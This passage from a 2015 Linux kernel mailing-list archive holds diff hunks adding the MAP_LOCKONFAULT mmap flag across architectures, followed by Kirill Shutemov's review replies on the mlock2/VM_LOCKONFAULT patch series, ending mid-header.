 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index 71ed81d..905c1ea 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -48,6 +48,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 /*
  * Flags for msync
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index c0871ce..c4695f6 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -24,6 +24,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index f93f7eb..40a3fda 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -31,5 +31,6 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 #endif /* _UAPI_ASM_POWERPC_MMAN_H */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 8cd2ebc..f66efa6 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -26,6 +26,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 
 #endif /* _UAPI__SPARC_MMAN_H__ */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index acdd013..800e5c3 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -29,6 +29,7 @@
 #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
 #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
 #define MAP_HUGETLB	0x4000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 
 /*
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 5725a15..689e1f2 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -55,6 +55,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
 # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory could be
 					 * uninitialized */
diff --git a/include/linux/mman.h b/include/linux/mman.h
index 16373c8..8243268 100644
--- a/include/linux/mman.h
+++ b/include/linux/mman.h
@@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
 {
 	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
 	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
-	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
+	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
+	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT | VM_LOCKED);
 }
 
 unsigned long vm_commit_limit(void);
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index 555aab0..007b784 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -12,6 +12,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage */
 
diff --git a/kernel/events/core.c b/kernel/events/core.c
index d3dae34..ec039f7 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -5815,7 +5815,8 @@ static void perf_event_mmap_event(struct perf_mmap_event *mmap_event)
 		if (vma->vm_flags & VM_MAYEXEC)
 			flags |= MAP_EXECUTABLE;
 		if (vma->vm_flags & VM_LOCKED)
-			flags |= MAP_LOCKED;
+			flags |= (vma->vm_flags & VM_LOCKONFAULT ?
+					MAP_LOCKONFAULT : MAP_LOCKED);
 		if (vma->vm_flags & VM_HUGETLB)
 			flags |= MAP_HUGETLB;
 
diff --git a/mm/mmap.c b/mm/mmap.c
index bdbefc3..56a842d 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1261,6 +1261,10 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	if (!len)
 		return -EINVAL;
 
+	if ((flags & (MAP_LOCKED | MAP_LOCKONFAULT)) ==
+		(MAP_LOCKED | MAP_LOCKONFAULT))
+		return -EINVAL;
+
 	/*
 	 * Does the application expect PROT_READ to imply PROT_EXEC?
 	 *
@@ -1301,7 +1305,7 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
 			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
 
-	if (flags & MAP_LOCKED)
+	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
 		if (!can_do_mlock())
 			return -EPERM;
 
@@ -2674,7 +2678,7 @@ SYSCALL_DEFINE5(remap_file_pages, unsigned long, start, unsigned long, size,
 	flags &= MAP_NONBLOCK;
 	flags |= MAP_SHARED | MAP_FIXED | MAP_POPULATE;
 	if (vma->vm_flags & VM_LOCKED) {
-		flags |= MAP_LOCKED;
+		flags |= (vma->vm_flags & VM_LOCKONFAULT ? MAP_LOCKONFAULT : MAP_LOCKED);
 		/* drop PG_Mlocked flag for over-mapped range */
 		munlock_vma_pages_range(vma, start, start + size);
 	}
-- 
1.9.1

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm
Subject: Re: [PATCH V5 2/7] mm: mlock: Add new mlock system call
Date: Mon, 27 Jul 2015 09:43:00 +0300
Lines: 60
Approved: news@gmane.org
Message-ID: <20150727064300.GB11657@node.dhcp.inet.fi>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <1437773325-8623-3-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1437979400 25962 80.91.229.3 (27 Jul 2015 06:43:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 06:43:20 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com, linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org, linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-api@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Jul 27 08:43:09 2015
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1ZJc7w-0007Lc-LL
	for glpi-linux-ia64-2@plane.gmane.org; Mon, 27 Jul 2015 08:43:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751293AbbG0GnH (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Mon, 27 Jul 2015 02:43:07 -0400
Original-Received: from mail-wi0-f177.google.com ([209.85.212.177]:38288 "EHLO
	mail-wi0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750803AbbG0GnF (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Mon, 27 Jul 2015 02:43:05 -0400
Original-Received: by wibxm9 with SMTP id xm9so101805943wib.1
        for <linux-ia64@vger.kernel.org>; Sun, 26 Jul 2015 23:43:03 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=3h4N2blC/NCEZDs23Ru0X0PqejeUgDrf6eUF1e/BRqA=;
        b=FKLGh7cOrGEk8MJIKW8ya7i5rceYPkF7WjQJZiRnVqYBv//7O23zJCGke5R3y3wLb0
         3diJgmUTKsYa5f7APEmBEAWkxrQ6Tr4NcPDImbhUnZYUWRS/iGKfTUPsAC1QV28PCcHu
         +mVcQyqP4u4HhuD5CPw03VugfmI6kaN1a9m7Vi2+H2VbnUgCKvkib+O1jssHyH/uyytQ
         PaUPfPTAXoJSHC3T0ee/FINrBmSto2u+E6/9M5FJs9kPYH55Swgjfy52oGgF8HE3ABAx
         8uGlnJ7yAKGdZT3aVv3MTRP+VjJaSexgbqX9n8BvNDQBkclJNI62byfrbGjMI6idCzcN
         RrDw==
X-Gm-Message-State: ALoCoQlcJpFiUyAcIUhRT3R9HAWDdnhiaQsl/T/SeyKYHuPzpTfUNHkaH9HmrsN+vTKEVx4c0bK+
X-Received: by 10.180.182.112 with SMTP id ed16mr20560374wic.19.1437979383536;
        Sun, 26 Jul 2015 23:43:03 -0700 (PDT)
Original-Received: from node.shutemov.name (dsl-espbrasgw1-54f9d4-72.dhcp.inet.fi. [84.249.212.72])
        by smtp.gmail.com with ESMTPSA id q19sm11826714wik.16.2015.07.26.23.43.01
        (version=TLSv1.2 cipher=AES128-GCM-SHA256 bits=128/128);
        Sun, 26 Jul 2015 23:43:02 -0700 (PDT)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id 7FB3864FA637; Mon, 27 Jul 2015 09:43:00 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1437773325-8623-3-git-send-email-emunson@akamai.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:25626 gmane.linux.ports.alpha:3236 gmane.linux.kernel:2005023 gmane.linux.ports.arm.kernel:429220 gmane.linux.ports.parisc:25872 gmane.linux.ports.ppc64.devel:115886 gmane.linux.ports.sh.devel:47508 gmane.linux.ports.sparc:21304 gmane.linux.kernel.api:13160 gmane.linux.kernel.cross-arch:28635 gmane.linux.kernel.mm:136326
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/25626>

On Fri, Jul 24, 2015 at 05:28:40PM -0400, Eric B Munson wrote:
> With the refactored mlock code, introduce a new system call for mlock.
> The new call will allow the user to specify what lock states are being
> added.  mlock2 is trivial at the moment, but a follow on patch will add
> a new mlock state making it useful.
> 
> Signed-off-by: Eric B Munson <emunson@akamai.com>
> Cc: Michal Hocko <mhocko@suse.cz>
> Cc: Vlastimil Babka <vbabka@suse.cz>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: Geert Uytterhoeven <geert@linux-m68k.org>
> Cc: Catalin Marinas <catalin.marinas@arm.com>
> Cc: Stephen Rothwell <sfr@canb.auug.org.au>
> Cc: Guenter Roeck <linux@roeck-us.net>
> Cc: linux-alpha@vger.kernel.org
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-arm-kernel@lists.infradead.org
> Cc: adi-buildroot-devel@lists.sourceforge.net
> Cc: linux-cris-kernel@axis.com
> Cc: linux-ia64@vger.kernel.org
> Cc: linux-m68k@lists.linux-m68k.org
> Cc: linux-am33-list@redhat.com
> Cc: linux-parisc@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: linux-s390@vger.kernel.org
> Cc: linux-sh@vger.kernel.org
> Cc: sparclinux@vger.kernel.org
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux-api@vger.kernel.org
> Cc: linux-arch@vger.kernel.org
> Cc: linux-mm@kvack.org
> ---
> Changes from V4:
> * Drop all architectures except x86[_64] from this patch, MIPS is added
>   later in the series.  All others will be left to their maintainers.
> 
> Changes from V3:
> * Do a (hopefully) complete job of adding the new system calls
>  arch/alpha/include/uapi/asm/mman.h     | 2 ++
>  arch/mips/include/uapi/asm/mman.h      | 5 +++++
>  arch/parisc/include/uapi/asm/mman.h    | 2 ++
>  arch/powerpc/include/uapi/asm/mman.h   | 2 ++
>  arch/sparc/include/uapi/asm/mman.h     | 2 ++
>  arch/tile/include/uapi/asm/mman.h      | 5 +++++
>  arch/x86/entry/syscalls/syscall_32.tbl | 1 +
>  arch/x86/entry/syscalls/syscall_64.tbl | 1 +
>  arch/xtensa/include/uapi/asm/mman.h    | 5 +++++

Define MLOCK_LOCKED in include/uapi/asm-generic/mman-common.h.
This way you can drop changes in powerpc, sparc and tile.

Otherwise looks good.

-- 
 Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [PATCH V5 4/7] mm: mlock: Add mlock flags to enable
 VM_LOCKONFAULT usage
Date: Mon, 27 Jul 2015 10:15:18 +0300
Lines: 70
Approved: news@gmane.org
Message-ID: <20150727071518.GD11657@node.dhcp.inet.fi>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <1437773325-8623-5-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1437981340 21708 80.91.229.3 (27 Jul 2015 07:15:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 07:15:40 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>, Vlastimil Babka <vbabka@suse.cz>,
	Jonathan Corbet <corbet@lwn.net>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org,
	linux-mm@kvack.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: owner-linux-mm@kvack.org Mon Jul 27 09:15:27 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZJcdB-0006NP-3y
	for glkm-linux-mm-2@m.gmane.org; Mon, 27 Jul 2015 09:15:25 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 228B36B0256; Mon, 27 Jul 2015 03:15:24 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 1FED76B0257; Mon, 27 Jul 2015 03:15:24 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 0C7A46B0258; Mon, 27 Jul 2015 03:15:24 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wi0-f175.google.com (mail-wi0-f175.google.com [209.85.212.175])
	by kanga.kvack.org (Postfix) with ESMTP id AC3536B0256
	for <linux-mm@kvack.org>; Mon, 27 Jul 2015 03:15:23 -0400 (EDT)
Original-Received: by wibud3 with SMTP id ud3so102111405wib.0
        for <linux-mm@kvack.org>; Mon, 27 Jul 2015 00:15:23 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:message-id:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=lFugvN3zqdD5/wMdGW3hjqcVOa5LRM6ktkvxUmBQgeY=;
        b=iDYeU6K887rdt4dc/2mhxNWN65wiYm4mHoKnlQYAN6CMIJdpUX65cS10HTCAp9DJjL
         HmaJj7cAB6axFWuy1obFc5gOTHkgOUwEDnYKexNyxrtz2/+gJzXgkmvy//wBAoqR8lBD
         MZoPI8Bo8NXtjgK9p6JkHi947yuKzXBW+4LJdvFf9E95q0U8ppyH2UlD3AgutGIeWiLk
         2gqlXr1tuXalYbMWTgtwW7H8maSknQrEGYusuil4KxJnZCRUB63Ukyc9Ie/0HfrD7y8y
         IwbriJ6+D0+eaX4WmChrhEAOfImrR6AafRDGgB+DY+2Rj438cwNqbarCh3pdsXIblm7a
         qFwg==
X-Original-Authentication-Results: mx.google.com;       spf=neutral (google.com: 209.85.212.182 is neither permitted nor denied by best guess record for domain of kirill@shutemov.name) smtp.mail=kirill@shutemov.name
X-Gm-Message-State: ALoCoQkHMJTl/sZdssofIjnFoRU//h8erSh6j+MVYXdyZSY2PmKdzHZwG/AveFF3UMG7FJ1AZMtlY4R3pvyaL3SY8Np50WjrTmq+GzjnIom9+uvW3tCg9m7XwvWRBZInQpoU45gGECoTpOHwiHUYfYC/erp1pgztEXQHpzEEypw3A5BOpQkBZPMIfhuy+Hf92Hktv00xx1rMuJn7JPkoH/irPDNsoxNe8d7dF/GKPoIkFZXEqVRJw6/soxzZ/1ELsZTzNhlP/Lcb4MRD7UE41cQ/LqdszJGnuc3XYxdwqIRImfEuRkTbvxg=
X-Received: by 10.180.107.67 with SMTP id ha3mr21529747wib.42.1437981323108;
        Mon, 27 Jul 2015 00:15:23 -0700 (PDT)
X-Received: by 10.180.107.67 with SMTP id ha3mr21529640wib.42.1437981322186;
        Mon, 27 Jul 2015 00:15:22 -0700 (PDT)
Original-Received: from mail-wi0-f182.google.com (mail-wi0-f182.google.com. [209.85.212.182])
        by mx.google.com with ESMTPS id p3si12516695wia.63.2015.07.27.00.15.21
        for <linux-mm@kvack.org>
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 27 Jul 2015 00:15:22 -0700 (PDT)
Received-SPF: neutral (google.com: 209.85.212.182 is neither permitted nor denied by best guess record for domain of kirill@shutemov.name) client-ip=209.85.212.182;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 209.85.212.182 is neither permitted nor denied by best guess record for domain of kirill@shutemov.name) smtp.mail=kirill@shutemov.name
Original-Received: by wibxm9 with SMTP id xm9so98716283wib.0
        for <linux-mm@kvack.org>; Mon, 27 Jul 2015 00:15:21 -0700 (PDT)
X-Received: by 10.194.187.51 with SMTP id fp19mr49424181wjc.67.1437981321464;
        Mon, 27 Jul 2015 00:15:21 -0700 (PDT)
Original-Received: from node.shutemov.name (dsl-espbrasgw1-54f9d4-72.dhcp.inet.fi. [84.249.212.72])
        by smtp.gmail.com with ESMTPSA id dl10sm26225096wjb.42.2015.07.27.00.15.19
        (version=TLSv1.2 cipher=AES128-GCM-SHA256 bits=128/128);
        Mon, 27 Jul 2015 00:15:20 -0700 (PDT)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
	id BD85B64FA637; Mon, 27 Jul 2015 10:15:18 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <1437773325-8623-5-git-send-email-emunson@akamai.com>
User-Agent: Mutt/1.5.23.1 (2014-03-12)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:136331 gmane.linux.ports.alpha:3237 gmane.linux.kernel:2005055 gmane.linux.ports.mips.general:49576 gmane.linux.ports.parisc:25873 gmane.linux.ports.ppc64.devel:115887 gmane.linux.ports.sparc:21305 gmane.linux.kernel.cross-arch:28636 gmane.linux.kernel.api:13162
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/136331>

On Fri, Jul 24, 2015 at 05:28:42PM -0400, Eric B Munson wrote:
> The previous patch introduced a flag that specified pages in a VMA
> should be placed on the unevictable LRU, but they should not be made
> present when the area is created.  This patch adds the ability to set
> this state via the new mlock system calls.
> 
> We add MLOCK_ONFAULT for mlock2 and MCL_ONFAULT for mlockall.
> MLOCK_ONFAULT will set the VM_LOCKONFAULT flag as well as the VM_LOCKED
> flag for the target region.  MCL_CURRENT and MCL_ONFAULT are used to
> lock current mappings.  With MCL_CURRENT all pages are made present and
> with MCL_ONFAULT they are locked when faulted in.  When specified with
> MCL_FUTURE all new mappings will be marked with VM_LOCKONFAULT.
> 
> Currently, mlockall() clears all VMA lock flags and then sets the
> requested flags.  For instance, if a process has MCL_FUTURE and
> MCL_CURRENT set, but they want to clear MCL_FUTURE this would be
> accomplished by calling mlockall(MCL_CURRENT).  This still holds with
> the introduction of MCL_ONFAULT.  Each call to mlockall() resets all
> VMA flags to the values specified in the current call.  The new mlock2
> system call behaves in the same way.  If a region is locked with
> MLOCK_ONFAULT and a user wants to force it to be populated now, a second
> call to mlock2(MLOCK_LOCKED) will accomplish this.
> 
> munlock() will unconditionally clear both vma flags.  munlockall()
> unconditionally clears for VMA flags on all VMAs and in the
> mm->def_flags field.
> 
> Signed-off-by: Eric B Munson <emunson@akamai.com>
> Cc: Michal Hocko <mhocko@suse.cz>
> Cc: Vlastimil Babka <vbabka@suse.cz>
> Cc: Jonathan Corbet <corbet@lwn.net>
> Cc: "Kirill A. Shutemov" <kirill@shutemov.name>
> Cc: linux-alpha@vger.kernel.org
> Cc: linux-kernel@vger.kernel.org
> Cc: linux-mips@linux-mips.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: sparclinux@vger.kernel.org
> Cc: linux-xtensa@linux-xtensa.org
> Cc: linux-arch@vger.kernel.org
> Cc: linux-api@vger.kernel.org
> Cc: linux-mm@kvack.org
> ---
> Changes from V4:
> * Split addition of VMA flag
> 
> Changes from V3:
> * Do extensive search for VM_LOCKED and ensure that VM_LOCKONFAULT is also handled
>  where appropriate
>  arch/alpha/include/uapi/asm/mman.h   |  2 ++
>  arch/mips/include/uapi/asm/mman.h    |  2 ++
>  arch/parisc/include/uapi/asm/mman.h  |  2 ++
>  arch/powerpc/include/uapi/asm/mman.h |  2 ++
>  arch/sparc/include/uapi/asm/mman.h   |  2 ++
>  arch/tile/include/uapi/asm/mman.h    |  3 +++
>  arch/xtensa/include/uapi/asm/mman.h  |  2 ++

Again, you can save few lines by moving some code into mman-common.h.

Otherwise looks good.

-- 
 Kirill A. Shutemov

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:37:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: Re: [PATCH V5 5/7] mm: mmap: Add mmap flag to request VM_LOCKONFAULT
Date: Mon, 27 Jul 2015 10:31:29 +0300
Lines: 19
Approved: news@gmane.org
Message-ID: <20150727073129.GE11657@node.dhcp.inet.fi>
References: <1437773325-8623-1-git-send-email-emunson@akamai.com>
 <1437773325-8623-6-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1437982310 4282 80.91.229.3 (27 Jul 2015 07:31:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 27 Jul 2015 07:31:50 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jul 27 09:31:37 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1ZJcsr-0003Hs-8l
	for glka-linux-arch@plane.gmane.org; Mon, 27 Jul 2015 09:31:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750897AbbG0Hbf (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 27 Jul 2015 03:31:35 -0400
Original-Received: from mail-wi0-f170.google.com ([209.85.212.170]:33650 "EHLO
	mail-wi0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750779AbbG0Hbd (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Mon, 27 Jul 2015 03:31:33 -0400
Original-Received: by wicmv11 with SMTP id mv11so127120937wic.0
        for <linux-arch@vger.kernel.org>; Mon, 27 Jul 2015 00:31:32 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
